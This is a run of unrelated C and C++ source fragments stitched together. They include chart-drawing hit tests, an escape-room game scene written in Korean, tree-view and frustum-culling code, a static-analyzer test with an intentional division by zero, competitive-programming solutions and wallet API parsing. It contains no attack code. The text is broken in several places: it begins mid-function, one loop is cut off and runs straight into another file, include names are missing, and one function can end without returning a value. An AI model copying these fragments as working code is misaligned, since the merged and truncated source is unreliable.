m_dataSource->GetXValue(indexE); } ClearMarks(&m_marks); CPlotMarkMe *mark = new CPlotMarkMe(0, sDate, topValue); map::iterator sIter = m_marks.find(0); if(sIter == m_marks.end()) { m_marks.insert(make_pair(0, mark)); } else { sIter->second = mark; } mark = new CPlotMarkMe(1, eDate, bottomValue); sIter = m_marks.find(1); if(sIter == m_marks.end()) { m_marks.insert(make_pair(1, mark)); } else { sIter->second = mark; } } bool CPlotBaseMe::SelectPoint(const POINT& mp, float x, float y) { return mp.x >= (x - m_lineWidth * 6) && mp.x <= (x + m_lineWidth * 6) && mp.y >= (y - m_lineWidth * 6) && mp.y <= (y + m_lineWidth * 6); } bool CPlotBaseMe::SelectLine(const POINT& mp, float x, float k, float b) { if (k != 0 || b != 0) { if (((((float) mp.y) / (mp.x * k + b)) >= 0.95) && ((((float) mp.y) / (mp.x * k + b)) <= 1.05)) { return true; } } else if (mp.x >= x - (m_lineWidth * 5) && mp.x <= x + (m_lineWidth * 5)) { return true; } return false; } bool CPlotBaseMe::SelectLine(const POINT& mp, float x1, float y1, float x2, float y2) { float k = 0; float b = 0; CMathLibMe::M107(x1, y1, x2, y2, 0, 0, &k, &b); return SelectLine(mp, x1, k, b); } bool CPlotBaseMe::SelectRay(const POINT& mp, float x1, float y1, float x2, float y2, float *pk, float *pb) { CMathLibMe::M107(x1, y1, x2, y2, 0, 0, pk, pb); if (*pk != 0 || *pb != 0) { if ((((float) mp.y) / (mp.x * (*pk) + (*pb))) >= 0.95 && (((float) mp.y) / (mp.x * (*pk) + (*pb))) <= 1.05) { if (x1 >= x2) { if (mp.x > x1 + 5) { return false; } } else if (x1 < x2 && mp.x < x1 - 5) { return false; } return true; } } else if (mp.x >= x1 - (m_lineWidth * 5) && mp.x <= x1 + (m_lineWidth * 5)) { if (y1 >= y2) { if (mp.y <= y1 - 5) { return true; } } else if (mp.y >= y1 - 5) { return true; } } return false; } bool CPlotBaseMe::SelectRay(const POINT& mp, float x1, float y1, float x2, float y2) { float k = 0; float b = 0; return SelectRay(mp, x1, y1, x2, y2, &k, &b); } ActionType CPlotBaseMe::SelectRect(const POINT& mp, CPlotMarkMe *markA, CPlotMarkMe *markB) { RECT rect = GetRectangle(markA, markB); int x1 = rect.left; int y1 = rect.top; int x2 = rect.right; int y2 = rect.top; int x3 = rect.left; int y3 = rect.bottom; int x4 = rect.right; int y4 = rect.bottom; if (SelectPoint(mp, (float) x1, (float) y1)) { return ActionType_AT1; } if (SelectPoint(mp, (float) x2, (float) y2)) { return ActionType_AT2; } if (SelectPoint(mp, (float) x3, (float) y3)) { return ActionType_AT3; } if (SelectPoint(mp, (float) x4, (float) y4)) { return ActionType_AT4; } int sub = (int)(m_lineWidth * 2.5); RECT bigRect = { rect.left - sub, rect.top - sub, rect.right + sub, rect.bottom + sub }; if (mp.x >= bigRect.left && mp.x <= bigRect.right && mp.y >= bigRect.top && mp.y <= bigRect.bottom) { if (rect.right - rect.left <= 4 || rect.bottom - rect.top <= 4) { return ActionType_MOVE; } RECT smallRect = { rect.left + sub, rect.top + sub, rect.right - sub, rect.bottom - sub }; if (mp.x < smallRect.left || mp.x > smallRect.right || mp.y < smallRect.top || mp.y > smallRect.bottom) { return ActionType_MOVE; } } return ActionType_NO; } bool CPlotBaseMe::SelectSegment(const POINT& mp, float x1, float y1, float x2, float y2) { float k = 0; float b = 0; CMathLibMe::M107(x1, y1, x2, y2, 0, 0, &k, &b); float smallX = x1 <= x2 ? x1 : x2; float smallY = y1 <= y2 ? y1 : y2; float bigX = x1 > x2 ? x1 : x2; float bigY = x1 > y2 ? y1 : y2; if (mp.x >= (smallX - 2) && mp.x <= (bigX + 2) && mp.y >= (smallY - 2) && mp.y <= (bigY + 2)) { if (k != 0 || b != 0) { if ((((float) mp.y) / (mp.x * k + b)) >= 0.95 && (((float) mp.y) / (mp.x * k + b)) <= 1.05) { return true; } } else if (mp.x >= (x1 - m_lineWidth * 5) && mp.x <= (x1 + m_lineWidth * 5)) { return true; } } return false; } bool CPlotBaseMe::SelectSine(const POINT& mp,float x1, float y1, float x2, float y2) { double f = 6.28318 / ((double)((x2 - x1) * 4)); int len = GetWorkingAreaWidth(); if (len > 0) { float lastX = 0; float lastY = 0; for (int i = 0; i < len; i++) { float x = i - x1; float y = (float)(0.5 * (y2 - y1) * sin(x * f) * 2.0); float px = x + x1; float py = y + y1; if (i == 0) { if (SelectPoint(mp, px, py)) { return true; } } else { float rectLeft = lastX - 2; float rectTop = lastY <= py ? lastY : py - 2; float rectRight = rectLeft + abs((float)(px - lastX)) + 4; float rectBottom = rectTop + abs((float)(py - lastY)) + 4; if (mp.x >= rectLeft && mp.x <= rectRight && mp.y >= rectTop && mp.y <= rectBottom) { return true; } } lastX = px; lastY = py; } } return false; } bool CPlotBaseMe::SelectTriangle(const POINT& mp, float x1, float y1, float x2, float y2, float x3, float y3) { return (SelectSegment(mp, x1, y1, x2, y2) || (SelectSegment(mp, x1, y1, x3, y3) || SelectSegment(mp, x2, y2, x3, y3))); } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ActionType CPlotBaseMe::GetAction() { return ActionType_NO; } bool CPlotBaseMe::OnCreate(const POINT& mp) { return false; } void CPlotBaseMe::OnMoveEnd() { } void CPlotBaseMe::OnMoving() { POINT movingPoint = GetMovingPoint(); switch (m_action) { case ActionType_MOVE: Move(movingPoint); return; case ActionType_AT1: Resize(0); return; case ActionType_AT2: Resize(1); return; case ActionType_AT3: Resize(2); return; case ActionType_AT4: Resize(3); return; } } void CPlotBaseMe::OnMoveStart() { } bool CPlotBaseMe::OnSelect() { return GetAction() != ActionType_NO; } void CPlotBaseMe::Render(CPaintMe *paint) { CChartMe *chart = GetChart(); if (m_drawGhost && chart->GetMovingPlot() && chart->GetMovingPlot() == this) { OnPaintGhost(paint); } OnPaint(paint); }/* * example.cpp * Copyright (C) 2019 <> * * Distributed under terms of the MIT license. */ #include #include "solution.hpp" void run_example() { Solution sln; vector words = { "gin", "zen", "gig", "msg" }; int ans = sln.uniqueMorseRepresentations(words); std::cout << ans << "\n"; } scripts/alternative_splicing/AltSplicingToolkit/src/as/Transcript.cpp /* * Copyright [1999-2013] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "Feature.h" #include "Transcript.h" //#include "Exon.h" #include #include #include using namespace std; namespace as { //: Feature::Feature() Transcript::Transcript() { type = TRANSCRIPT_TYPE; } Transcript::Transcript(std::string featureIdentifier) : GeneFeature(featureIdentifier) { type = TRANSCRIPT_TYPE; } void Transcript::addExon(const shared_ptr &exon) { //if (strand == 1) { exons.push_back(exon); //} else { // exons.push_front(exon); // } if (exon->getStart() < start) { start = exon->getStart(); } if (exon->getEnd() > end) { end = exon->getEnd(); } } vector< shared_ptr< Exon > >& Transcript::getExons() { vExons.clear(); vector< shared_ptr< Exon > >::iterator it; vExons.insert(it, exons.begin(), exons.end()); return vExons; } /** * Create a full structure including the introns. */ vector< shared_ptr< TranscriptFeature> >& Transcript::getTranscriptFeatures() { int lastExonStart = 0; int lastExonEnd = 0; //int exonIndex = (strand == 1) ? 0 : exons.size()+1; int exonIndex = 0; // create a vector of exon - intron on the heap features.clear(); list< shared_ptr< Exon > >::const_iterator exonIterator; for(exonIterator=exons.begin(); exonIterator!=exons.end(); exonIterator++) { // current exon int exonStart = (**exonIterator).getStart(); int exonEnd = (**exonIterator).getEnd(); // if there is an exon before the current exon if (lastExonStart > 0) { ostringstream osstream; osstream << "intron" << exonIndex << "-" << (exonIndex+1); std::string my_id = osstream.str(); // create the intron on the heap Intron *intron = new Intron(my_id); // get the donor site of the previous exon intron->setStart((strand == 1) ? lastExonEnd + 1 : exonEnd + 1 ); // get the acceptor site of th current exon intron->setEnd((strand == 1) ? exonStart - 1 : lastExonStart - 1 ); // get the strand and chromosome of the previous feature intron->setStrand(getStrand()); intron->setChromosome(getChromosome()); shared_ptr< TranscriptFeature > pIntron(intron); features.push_back(pIntron); } // push the current exon shared pointer features.push_back(*exonIterator); lastExonStart = exonStart; lastExonEnd = exonEnd; exonIndex++; // = exonIndex + ((strand == 1) ? 1 : -1); } return features; } Transcript::~Transcript() { //cout << "Calling transcript destructor: " << identifier << endl; } } class Solution { public: int XXX(vector& height) { int n=height.size(); int r=n-1; int l=0; int ret=0; while(l1-10 /* * Copyright (c) 2016 - present Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ struct A { int f; void setF() { f = 1; } }; struct B : public A { int g; void setFG() { setF(); g = 1; if (g == 1) g = 1 / 0; else g = 0; } }; src/Room1.cpp #include "bangtal.h" #include "Objects.h" extern SceneID room1, room1_left, room1_right; extern SceneID room2, room2_table, room2_vase, room2_right, room2_pictures; extern SceneID hall1, hall2, gogh1, gogh2, lastdoor; Door room1_right_door; Keypad room1_right_keypad; ImageObject room1_window, room1_picture2, room1_right_picture1; ToggleImageObject room1_picture1, room1_right_picture2; ToggleObject room1_curtain; Connector room1_toRight, room1_toLeft, room1_left_toRight, room1_right_toLeft; Item room1_letter, room1_key, room1_leather, room1_glass, room1_knife, room1_post; Box room1_left_box1, room1_left_box2; ObjectID room1_curtain_closed; bool room1_right_picture2_cut = false; void room1_curtain_on(ToggleObject& toggleObject) { hideObject(room1_curtain_closed); offToggleImageObject(room1_picture1); setSceneLight(room1, 1.f); setSceneLight(room1_right, 1.f); setSceneLight(room1_left, 1.f); } void room1_curtain_off(ToggleObject& toggleObject) { showObject(room1_curtain_closed); onToggleImageObject(room1_picture1); setSceneLight(room1, 0.25f); setSceneLight(room1_right, 0.25f); setSceneLight(room1_left, 0.25f); showMessage("커튼을 쳤더니 깜깜해졌어."); } void setupRoom1() { room1_right_door = createDoor( "문", "image/문.png", "image/문.png", // name, closedImage, openedImage room1_right, 1020, 0, // scene, x, y room2, // connectTo 0, // key true, true, // opened, locked "문이 잠겨있다.", // lockedMessage "문이 열렸어.", // unlockedMessage "", // keyMessage "", // openedMessage true // shown ); room1_right_keypad = createKeypad( "keypad", "image/keypad-se.png", // name, image room1_right, 1230, 340, // scene, x, y room1_right_door.id, // target "3748", // password ". 비밀번호가 뭘까?", // message true // shown ); room1_window = createImageObject( "window", "image/창문.png", // name, image room1, 155, 250, // scene, x, y "image/생레미 창문.png", // target "2층 높이지만 쇠창살로 막혀있군.", // message true // shown ); scaleObject(room1_window.id, 0.6f); room1_picture1 = createToggleImageObject( "picture1", // name "image/별이 빛나는 밤-2.png", "image/별이 빛나는 밤-1.png", // onImage, offImage room1, 450, 200, // scene, x, y "image/별이 빛나는 밤 글씨.png", "image/별이 빛나는 밤.png", // onTargetImage, offTargetImage "", // onMessage "재작년 MOMA 미술관에서 본 진품과\n아주 유사한걸?", // offMessage false, // on true // shown ); scaleObject(room1_picture1.id, 0.5f); room1_curtain = createToggleObject( "curtain", "image/커튼1.png", "image/커튼1.png", // name, onImage, offImage room1, 80, 80, // scene, x, y room1_curtain_on, // onCallback room1_curtain_off, // onCallback true, // on true // shown ); scaleObject(room1_curtain.id, 2.f); room1_curtain_closed = createObject("curtain", "image/커튼3.png", room1, 130, 60, false); room1_letter = createItem( "letter", "", "image/편지.png", // name, pickImage, dropImage room1, 750, 130, // scene, x, y "편지를 발견했다.", // pickMessage "", // dropMessage true // shown ); scaleObject(room1_letter.id, 0.05f); room1_key = createItem( "key", "", "image/key.png", // name, pickImage, dropImage room1_right, 620, 50, // scene, x, y "열쇠를 얻었다!", // pickMessage "", // dropMessage false // shown ); scaleObject(room1_key.id, 0.02f); room1_leather = createItem( "leather", "", "image/찢어진 가죽.png", // name, pickImage, dropImage 0, 0, 0, // scene, x, y "두꺼운 가죽조각이네. 옷을 수선하는 용도인가?", // pickMessage "", // dropMessage false // shown ); scaleObject(room1_leather.id, 0.1f); room1_glass = createItem( "glass", "", "image/유리조각.png", // name, pickImage, dropImage room1_right, 770, 100, // scene, x, y "이런 곳에 유리조각이 떨어져있다니, 위험한걸?", // pickMessage "", // dropMessage true // shown ); scaleObject(room1_glass.id, 0.1f); room1_knife = createItem( "knife", "", "image/칼.png", // name, pickImage, dropImage 0, 0, 0, // scene, x, y "", // pickMessage "", // dropMessage false // shown ); scaleObject(room1_knife.id, 0.1f); defineCombination(room1_leather.id, room1_glass.id, room1_knife.id); room1_left_box1 = createBox( "box1", "image/Box(Closed)-sw.png", "image/Box(Opened)-sw.png", // name, closedImage, openedImage room1_left, 320, 480, // scene, x, y room1_leather.id, // hiddenObject 0, // key false, false, // opened, locked "", // lockedMessage "", // unlockedMessage "", // keyMessage "", // openedMessage true // shown ); scaleObject(room1_left_box1.id, 0.1f); locateObject(room1_leather.id, room1_left, 350, 505); room1_post = createItem( "쪽지", "image/paper.png", "image/roll paper.png", // name, pickImage, dropImage 0, 0, 0, // scene, x, y "쪽지를 발견했다.", // pickMessage "", // dropMessage false // shown ); scaleObject(room1_post.id, 0.1f); room1_left_box2 = createBox( "box1", "image/비밀상자.png", "image/비밀상자-1.png", // name, closedImage, openedImage room1_left, 0, 0, // scene, x, y room1_post.id, // hiddenObject room1_key.id, // key false, false, // opened, locked "", // lockedMessage "", // unlockedMessage "열쇠가 필요해.", // keyMessage "", // openedMessage true // shown ); scaleObject(room1_left_box2.id, 1.4f); locateObject(room1_post.id, room1_left, 100, 110); room1_picture2 = createImageObject( "picture2", "image/파이프를 물고 귀에 붕대를 한 자화상-1.png", // name, image room1, 900, 300, // scene, x, y "image/파이프를 물고 귀에 붕대를 한 자화상.png", // target "눈빛이 쓸쓸해 보이네.", // message true // shown ); scaleObject(room1_picture2.id, 0.3f); room1_right_picture1 = createImageObject( "picture1", "image/파이프를 물고 귀에 붕대를 한 자화상-2.png", // name, image room1_right, 150, 400, // scene, x, y "image/파이프를 물고 귀에 붕대를 한 자화상.png", // target "눈빛이 쓸쓸해 보이네.", // message true // shown ); scaleObject(room1_right_picture1.id, 0.3f); room1_right_picture2 = createToggleImageObject( "picture2", // name "image/귀에 붕대를 감은 자화상-3.png", "image/귀에 붕대를 감은 자화상-1.png", // onImage, offImage room1_right, 600, 400, // scene, x, y "image/귀에 붕대를 감은 자화상-2.png", "image/귀에 붕대를 감은 자화상.png", // onTargetImage, offTargetImage "그림 속에 물건을 숨겨놓다니,\n괴짜가 따로없네.", // onMessage "내 귀를 잘라줘.....\n섬뜩한 목소리가 들리는 것만 같다.", // offMessage false, // on true ); scaleObject(room1_right_picture2.id, 0.3f); room1_toRight = createConnector("toRight", "image/오른쪽 화살표.png", room1, 1145, 375, room1_right); room1_toLeft = createConnector("toLeft", "image/왼쪽 화살표.png", room1, 50, 375, room1_left); room1_left_toRight = createConnector("toRight", "image/오른쪽 화살표.png", room1_left, 635, 375, room1); room1_right_toLeft = createConnector("toLeft", "image/왼쪽 화살표.png", room1_right, 50, 375, room1); } /* * Copyright (c) 2022, <> * * SPDX-License-Identifier: BSD-2-Clause */ #include namespace GUI { ModelIndex TreeViewModel::index(int row, int column, ModelIndex const& parent) const { if (!parent.is_valid()) { if (static_cast(row) >= m_nodes.size()) return {}; return create_index(row, column, &m_nodes[row]); } auto const& parent_node = *static_cast(parent.internal_data()); if (static_cast(row) >= parent_node.child_nodes().size()) return {}; auto const* child = &parent_node.child_nodes()[row]; return create_index(row, column, child); } ModelIndex TreeViewModel::parent_index(ModelIndex const& index) const { if (!index.is_valid()) return {}; auto const& child_node = *static_cast(index.internal_data()); auto const* parent_node = child_node.parent_node(); if (parent_node == nullptr) return {}; if (parent_node->parent_node() == nullptr) { for (size_t row = 0; row < m_nodes.size(); row++) if (m_nodes.ptr_at(row).ptr() == parent_node) return create_index(static_cast(row), 0, parent_node); VERIFY_NOT_REACHED(); } for (size_t row = 0; row < parent_node->parent_node()->child_nodes().size(); row++) { auto const* child_node_at_row = parent_node->parent_node()->child_nodes().ptr_at(row).ptr(); if (child_node_at_row == parent_node) return create_index(static_cast(row), 0, parent_node); } VERIFY_NOT_REACHED(); } int TreeViewModel::row_count(ModelIndex const& index) const { if (!index.is_valid()) return static_cast(m_nodes.size()); auto const& node = *static_cast(index.internal_data()); return static_cast(node.child_nodes().size()); } Variant TreeViewModel::data(ModelIndex const& index, ModelRole role) const { auto const& node = *static_cast(index.internal_data()); switch (role) { case ModelRole::Display: return node.text(); case ModelRole::Icon: if (node.icon().has_value()) return *node.icon(); return {}; default: return {}; } } Optional TreeViewModel::index_for_node(Node const& node, ModelIndex const& parent) const { for (int row = 0; row < row_count(parent); ++row) { auto row_index = this->index(row, 0); auto const* row_node = static_cast(row_index.internal_data()); if (&node == row_node) return row_index; if (auto index = index_for_node(node, row_index); index.has_value()) return index; } return {}; } } /* Copyright (c) 2014-2016, Stefan.Eile * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of Eyescale Software GmbH nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include #include #include #define BOOST_TEST_MODULE frustum #include static void _testCull(const vmml::FrustumCullerf& fc) { const vmml::vector<4, float> sphereIn(0.f, 0.f, -10.f, 1.f); const vmml::vector<4, float> sphereOut(0.f, 0.f, 0.f, .5f); const vmml::vector<4, float> sphereBorder(0.f, 0.f, -1.f, 1.f); BOOST_CHECK_EQUAL(fc.test(sphereIn), vmml::VISIBILITY_FULL); BOOST_CHECK_EQUAL(fc.test(sphereOut), vmml::VISIBILITY_NONE); BOOST_CHECK_EQUAL(fc.test(sphereBorder), vmml::VISIBILITY_PARTIAL); std::stringstream str; str << vmml::VISIBILITY_PARTIAL; BOOST_CHECK_EQUAL(str.str(), "partially visible"); str.str(""); str << vmml::VISIBILITY_FULL; BOOST_CHECK_EQUAL(str.str(), "fully visible "); vmml::AABBf aabbIn(vmml::Vector3f(-1.f, -1.f, -4.f), vmml::Vector3f(1.f, 1.f, -2.f)); vmml::AABBf aabbOut(vmml::Vector3f(-1.f, -1.f, -.5f), vmml::Vector3f(1.f, 1.f, 0.f)); vmml::AABBf aabbBorder(vmml::Vector3f(-1.f, -1.f, -1.5f), vmml::Vector3f(1.f, 1.f, -.5f)); BOOST_CHECK_EQUAL(fc.test(aabbIn), vmml::VISIBILITY_FULL); BOOST_CHECK_EQUAL(fc.test(aabbOut), vmml::VISIBILITY_NONE); BOOST_CHECK_EQUAL(fc.test(aabbBorder), vmml::VISIBILITY_PARTIAL); } BOOST_AUTO_TEST_CASE(convert) { const vmml::Frustumf f1; const vmml::Frustumf f2(f1.computePerspectiveMatrix()); BOOST_CHECK_MESSAGE(f1.equals(f2, 0.0001f), f2); } BOOST_AUTO_TEST_CASE(base) { const vmml::Frustumf frustum(-1.f, 1., -1.f, 1., 1.f, 100.f); const vmml::Matrix<4, 4, float> mvp = frustum.computePerspectiveMatrix(); const vmml::FrustumCullerf fc(mvp); _testCull(fc); // e_____f // / /| // | a b | | // | c d |/h // ----- const vmml::Vector3f a(-1.f, 1.f, -1.f); const vmml::Vector3f b(1.f, 1.f, -1.f); const vmml::Vector3f c(-1.f, -1.f, -1.f); const vmml::Vector3f d(1.f, -1.f, -1.f); const vmml::Vector3f e(-100.f, 100.f, -100.f); const vmml::Vector3f f(100.f, 100.f, -100.f); const vmml::Vector3f g(-100.f, -100.f, -100.f); const vmml::Vector3f h(100.f, -100.f, -100.f); const vmml::FrustumCullerf fc2(a, b, c, d, e, f, g, h); _testCull(fc2); } BOOST_AUTO_TEST_CASE(fovy_to_projection) { const vmml::Frustumf frustum(45.f, 4.f / 3.f, 0.01f, 10.f); const auto projection = frustum.computePerspectiveMatrix(); // same as glm::perspective(M_PI_4, 4.f/3., 0.01, 10.) BOOST_CHECK_CLOSE(projection(0, 0), -1.81066f, 0.0001f); BOOST_CHECK_CLOSE(projection(1, 1), -2.414214f, 0.0001f); BOOST_CHECK_CLOSE(projection(2, 2), -1.002002f, 0.0001f); BOOST_CHECK_CLOSE(projection(2, 3), -0.02002002f, 0.0001f); BOOST_CHECK_CLOSE(projection(3, 2), -1.f, 0.0001f); } FactoryMethodPattern/main.cpp #include //包含某一个具体工厂头文件即可 #include "concrete_creator.h" int main(int argc, char *argv[]) { Creator *c1 = new ConcreteCreator1(); Product *p1 = c1->Create(); Creator *c2 = new ConcreteCreator2(); Product *p2 = c2->Create(); Creator *c3 = new ConcreteCreator3(); Product *p3 = c3->Create(); qDebug()<Number(); qDebug()<Number(); qDebug()<Number(); delete c1; delete c2; delete c3; delete p1; delete p2; delete p3; return 0; } $NetBSD: patch-src_sdl__driver.cpp,v 1.1 2011/12/05 22:45:19 joerg Exp $ --- src/sdl_driver.cpp.orig 2011-12-05 21:39:04.000000000 +0000 +++ src/sdl_driver.cpp @@ -5,6 +5,7 @@ #include #include #include +#include #include "sdl_driver.h" #include "canvas.h" #include #include "game.h" using namespace std; typedef long long LL; struct Quad { LL val; Quad* child[2][2]; Quad() { val = 0; child[0][0] = NULL; child[0][1] = NULL; child[1][0] = NULL; child[1][1] = NULL; } }*root; LL gcd(LL x, LL y) { if(!y) return x; return gcd(y,x%y); } int n,m; void init(int xl , int xr , int yl , int yr , Quad* node) { if(xl == xr && yl == yr) return; int xm = (xl+xr)>>1; int ym = (yl+yr)>>1; if(xl == xr) { node->child[0][0] = new Quad(); init(xl,xm,yl,ym,node->child[0][0]); node->child[0][1] = new Quad(); init(xl,xm,ym+1,yr,node->child[0][1]); } else if(yl == yr) { node->child[0][0] = new Quad(); init(xl,xm,yl,ym,node->child[0][0]); node->child[1][0] = new Quad(); init(xm+1,xr,yl,ym,node->child[1][0]); } else { node->child[0][0] = new Quad(); init(xl,xm,yl,ym,node->child[0][0]); node->child[0][1] = new Quad(); init(xl,xm,ym+1,yr,node->child[0][1]); node->child[1][0] = new Quad(); init(xm+1,xr,yl,ym,node->child[1][0]); node->child[1][1] = new Quad(); init(xm+1,xr,ym+1,yr,node->child[1][1]); } } void init(int R, int C) { n = R; m = C; root = new Quad(); init(0,n-1,0,m-1,root); } LL update(int xl , int xr , int yl , int yr , int X , int Y , LL VAL , Quad* node) { if(xr < X || X < xl) return node->val; if(yr < Y || Y < yl) return node->val; if(xl == xr && yl == yr) return node->val = VAL; LL GCD = 0; int xm = (xl+xr)>>1; int ym = (yl+yr)>>1; if(xl == xr) { GCD = gcd(GCD, update(xl,xm,yl,ym,X,Y,VAL,node->child[0][0])); GCD = gcd(GCD, update(xl,xm,ym+1,yr,X,Y,VAL,node->child[0][1])); } else if(yl == yr) { GCD = gcd(GCD, update(xl,xm,yl,ym,X,Y,VAL,node->child[0][0])); GCD = gcd(GCD, update(xm+1,xr,yl,ym,X,Y,VAL,node->child[1][0])); } else { GCD = gcd(GCD, update(xl,xm,yl,ym,X,Y,VAL,node->child[0][0])); GCD = gcd(GCD, update(xl,xm,ym+1,yr,X,Y,VAL,node->child[0][1])); GCD = gcd(GCD, update(xm+1,xr,yl,ym,X,Y,VAL,node->child[1][0])); GCD = gcd(GCD, update(xm+1,xr,ym+1,yr,X,Y,VAL,node->child[1][1])); } return node->val = GCD; } void update(int P, int Q, LL K) { update(0,n-1,0,m-1,P,Q,K,root); } LL query(int xl , int xr , int yl , int yr , int X1 , int Y1 , int X2 , int Y2 , Quad* node) { if(xr < X1 || X2 < xl) return 0; if(yr < Y1 || Y2 < yl) return 0; if(X1 <= xl && xr <= X2 && Y1 <= yl && yr <= Y2) return node->val; LL GCD = 0; int xm = (xl+xr)>>1; int ym = (yl+yr)>>1; if(xl == xr) { GCD = gcd(GCD, query(xl,xm,yl,ym,X1,Y1,X2,Y2,node->child[0][0])); GCD = gcd(GCD, query(xl,xm,ym+1,yr,X1,Y1,X2,Y2,node->child[0][1])); } else if(yl == yr) { GCD = gcd(GCD, query(xl,xm,yl,ym,X1,Y1,X2,Y2,node->child[0][0])); GCD = gcd(GCD, query(xm+1,xr,yl,ym,X1,Y1,X2,Y2,node->child[1][0])); } else { GCD = gcd(GCD, query(xl,xm,yl,ym,X1,Y1,X2,Y2,node->child[0][0])); GCD = gcd(GCD, query(xl,xm,ym+1,yr,X1,Y1,X2,Y2,node->child[0][1])); GCD = gcd(GCD, query(xm+1,xr,yl,ym,X1,Y1,X2,Y2,node->child[1][0])); GCD = gcd(GCD, query(xm+1,xr,ym+1,yr,X1,Y1,X2,Y2,node->child[1][1])); } return GCD; } LL calculate(int P, int Q, int U, int V) { return query(0,n-1,0,m-1,P,Q,U,V,root); } #include int reverse(int n) { static int sum = 0; if (n) { sum = sum * 10 + n % 10; reverse(n / 10); } else return sum; } int main() { int num, rev; printf("Enter a number: "); scanf_s("%d", &num); rev = reverse(num); printf("Reverse of %d is %d", num, rev); return 0; }xleakOfficial/xmax-mainchain /** * @file * @copyright defined in xmax/LICENSE */ #if _Platform_Target == _Platform_Windows #include # pragma warning (disable : 4996) # pragma warning (disable : 4717) #endif // _DEBUG #include #if _Platform_Target == _Platform_Windows # define _DEBUG_OUTPUTA(x) OutputDebugStringA(x) #else # define _DEBUG_OUTPUTA(x) #endif // WIN32 namespace pro { #if _Platform_Target == _Platform_Windows static const char line_code[] = "\n"; #endif void _debug_output(const char* ouput) { _DEBUG_OUTPUTA(ouput); } void _debug_output_line(const char* ouput) { _DEBUG_OUTPUTA(ouput); _DEBUG_OUTPUTA(line_code); } }core/consensus/babe/types/slot.hpp /** * Copyright Soramitsu Co., Ltd. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0 */ #ifndef KAGOME_SLOT_HPP #define KAGOME_SLOT_HPP #include namespace kagome::consensus { enum class SlotType : uint8_t { /// A primary VRF-based slot assignment Primary = 1, /// A secondary deterministic slot assignment SecondaryPlain = 2, /// A secondary deterministic slot assignment with VRF outputs SecondaryVRF = 3, }; } #endif // KAGOME_SLOT_HPP #include "stdafx.h" #include "entity/EntityManager.h" namespace pacman { namespace state { EntityManager::EntityManager() { } IEntityState* EntityManager::GetPlayerState() const { return this->_p_player_state.get(); } void EntityManager::SetPlayerState(std::unique_ptr> p_player_state) { this->_p_player_state = std::move(p_player_state); } IEntityState* EntityManager::GetBlinkyState() const { return this->_p_blinky_state.get(); } void EntityManager::SetBlinkyState(std::unique_ptr> p_blinky_state) { this->_p_blinky_state = std::move(p_blinky_state); } IEntityState* EntityManager::GetPinkyState() const { return this->_p_pinky_state.get(); } void EntityManager::SetPinkyState(std::unique_ptr> p_pinky_state) { this->_p_pinky_state = std::move(p_pinky_state); } IEntityState* EntityManager::GetInkyState() const { return this->_p_inky_state.get(); } void EntityManager::SetInkyState(std::unique_ptr> p_inky_state) { this->_p_inky_state = std::move(p_inky_state); } IEntityState* EntityManager::GetClydeState() const { return this->_p_clyde_state.get(); } void EntityManager::SetClydeState(std::unique_ptr> p_clyde_state) { this->_p_clyde_state = std::move(p_clyde_state); } } } unwaz/beam // Copyright 2018 The Beam Team // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "v6_1_api.h" #include "utility/fsutils.h" namespace beam::wallet { std::pair V61Api::onParseEvSubUnsub(const JsonRpcId& id, const nlohmann::json& params) { std::set allowed; allowed.insert("ev_sync_progress"); allowed.insert("ev_system_state"); allowed.insert("ev_assets_changed"); allowed.insert("ev_addrs_changed"); allowed.insert("ev_utxos_changed"); allowed.insert("ev_txs_changed"); allowed.insert("ev_connection_changed"); bool found = false; for (auto it : params.items()) { if(allowed.find(it.key()) == allowed.end()) { std::string error = "The event '" + it.key() + "' is unknown."; throw jsonrpc_exception(ApiError::InvalidParamsJsonRpc, error); } else { found = true; } if (!getAppId().empty()) { // Some events are not allowed for applications if (it.key() == "ev_utxos_changed" || it.key() == "ev_assets_changed") { throw jsonrpc_exception(ApiError::NotAllowedError); } } } if (found == false) { throw jsonrpc_exception(ApiError::InvalidParamsJsonRpc, "Must subunsub at least one supported event"); } // So here we are sure that at least one known event is present // Typecheck & get value EvSubUnsub message; message.syncProgress = 